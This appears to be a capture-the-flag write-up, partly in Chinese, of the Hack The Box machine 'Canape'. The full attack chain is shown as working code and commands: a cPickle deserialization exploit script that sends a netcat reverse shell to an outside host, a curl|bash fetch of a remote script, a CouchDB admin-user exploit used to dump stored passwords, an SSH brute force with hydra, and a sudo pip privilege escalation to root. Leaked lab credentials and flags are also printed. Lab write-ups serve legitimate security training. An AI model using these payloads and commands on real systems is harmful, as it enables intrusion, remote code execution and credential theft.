Information Gathering
IP Address | Opening Ports |
---|---|
10.10.10.70 | TCP:80,65535 |
$ ip='10.10.10.70'; itf='tun0'; if nmap -Pn -sn "$ip" | grep -q "Host is up"; then echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"; ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//'); if [ -n "$ports" ]; then echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"; nmap -Pn -sV -sC -p "$ports" "$ip"; else echo -e "\e[31m[!] No open ports found on $ip.\e[0m"; fi; else echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"; fi
bash
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Simpsons Fan Site
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-git:
| 10.10.10.70:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
| Last commit message: final # Please enter the commit message for your changes. Li...
| Remotes:
|_ http://git.canape.htb/simpsons.git
|_http-trane-info: Problem with XML parsing of /evox/about
65535/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 8d820b3190e4c885b2538ba17c3b65e1 (RSA)
| 256 22fc6ec35500850f24bff5796c928b68 (ECDSA)
|_ 256 0d912751805e2ba3810de9d85c9b7735 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Git leak && cPickle Unsecure Deserialization
# echo '10.10.10.70 canape.htb git.canape.htb'>>/etc/hosts
$ git-dumper http://canape.htb/.git ./
$ git log -p --all

cPickle 是 Python 2 中的 C 语言实现的 pickle 模块,用于 序列化和反序列化 Python 对象,比 pickle 更快,但同样容易被滥用导致 反序列化漏洞(RCE)
import couchdb
import string
import random
import base64
import cPickle
from flask import Flask, render_template, request
from hashlib import md5
app = Flask(__name__)
app.config.update(
DATABASE = "simpsons"
)
db = couchdb.Server("http://localhost:5984/")[app.config["DATABASE"]]
@app.errorhandler(404)
def page_not_found(e):
if random.randrange(0, 2) > 0:
return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(random.randrange(50, 250)))
else:
return render_template("index.html")
@app.route("/")
def index():
return render_template("index.html")
@app.route("/quotes")
def quotes():
quotes = []
for id in db:
quotes.append({"title": db[id]["character"], "text": db[id]["quote"]})
return render_template('quotes.html', entries=quotes)
WHITELIST = [
"homer",
"marge",
"bart",
"lisa",
"maggie",
"moe",
"carl",
"krusty"
]
@app.route("/submit", methods=["GET", "POST"])
def submit():
error = None
success = None
if request.method == "POST":
try:
char = request.form["character"]
quote = request.form["quote"]
if not char or not quote:
error = True
elif not any(c.lower() in char.lower() for c in WHITELIST):
error = True
else:
# TODO - Pickle into dictionary instead, `check` is ready
p_id = md5(char + quote).hexdigest()
outfile = open("/tmp/" + p_id + ".p", "wb")
outfile.write(char + quote)
outfile.close()
success = True
except Exception as ex:
error = True
return render_template("submit.html", error=error, success=success)
@app.route("/check", methods=["POST"])
def check():
path = "/tmp/" + request.form["id"] + ".p"
data = open(path, "rb").read()
if "p1" in data:
item = cPickle.loads(data)
else:
item = data
return "Still reviewing: " + item
if __name__ == "__main__":
app.run()

1.上传.p文件
2.反序列化.p内容,触发RCE
3.服务端的白名单
WHITELIST = [
"homer",
"marge",
"bart",
"lisa",
"maggie",
"moe",
"carl",
"krusty"
]
import os
from requests import post
import cPickle
from hashlib import md5
cmd = ''
chars = 'S\'krusty\'\n'
class exp(object):
def __reduce__(self):
return (os.system, (cmd,))
def check_exec(payload):
smd5 = md5(chars+payload).hexdigest()
print "[+] md5:"+smd5
post('http://canape.htb/check',data= { "id": smd5 })
def submit():
payload = cPickle.dumps(exp())
stat = post('http://canape.htb/submit',data= { "character":chars, "quote": payload })
if stat.status_code == 200:
print '[+] Execute payload'
check_exec(payload)
print '[+] Done...'
else:
print '[!] ERROR'
if __name__ == '__main__':
cmd = r'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.16.33 443 >/tmp/f'
submit()
https://raw.githubusercontent.com/MartinxMax/KTOR/refs/heads/main/ktor.sh
www-data@canape:/$ curl http://10.10.16.33/ktor.sh|bash -s -- -l -p all

CouchDB
CouchDB 是一个开源的 NoSQL 数据库,使用文档存储格式(JSON),并支持通过 HTTP 协议进行访问和操作。

www-data@canape:/$ curl http://127.0.0.1:5986
www-data@canape:/$ ps -aux |grep couchdb

https://www.exploit-db.com/exploits/44498
该漏洞使得我们可以添加一个管理员级别的用户,从而获得对数据库的完全访问权限。这是因为 Erlang 解析器在处理重复值时存在缺陷,它只保存最后添加的值,因此我们可以通过两次使用"roles"将自己设置为管理员。
1.创建用户
www-data@canape:/$ curl -X PUT 'http://localhost:5984/_users/org.couchdb.user:maptnh' --data-binary '{ "type": "user", "name": "maptnh", "roles": ["_admin"], "roles": [], "password": "maptnh" }'

2.查询数据库名
www-data@canape:/$ curl http://maptnh:maptnh@localhost:5984/_all_dbs -s

3.查询ID
www-data@canape:/$ curl http://maptnh:maptnh@localhost:5984/passwords/_all_docs -s

4.获取ID下数据
www-data@canape:/$ curl -s http://maptnh:maptnh@localhost:5984/passwords/_all_docs | grep -o '"id":"[^"]*' | awk -F ':"' '{print $2}' | while read id; do curl -s "http://maptnh:maptnh@localhost:5984/passwords/$id"; done
User | Item | Password |
---|---|---|
ssh | 0B4jyA0xtytZi7esBNGp | |
couchy | couchdb | r3lax0Nth3C0UCH |
homer | simpsonsfanclub.com | h02ddjdj2k2k2 |
homerj0121 | github | STOP STORING YOUR PASSWORDS HERE -Admin |
www-data@canape:/$ grep '^Port' /etc/ssh/sshd_config

$ hydra -L ./user -P ./pass ssh://10.10.10.70 -s 65535 -t 4

User.txt
78dafffc65876afc67652bf5fb9ac7a7
Privilege Escalation:pip

homer@canape:~$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > /tmp/setup.py;
sudo -u root /usr/bin/pip install /tmp/setup.py
homer@canape:~$ TF=$(mktemp -d)
homer@canape:~$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
homer@canape:~$ sudo -u root /usr/bin/pip install $TF

Root.txt
879c504e1abd000a1b0c01517cee4b92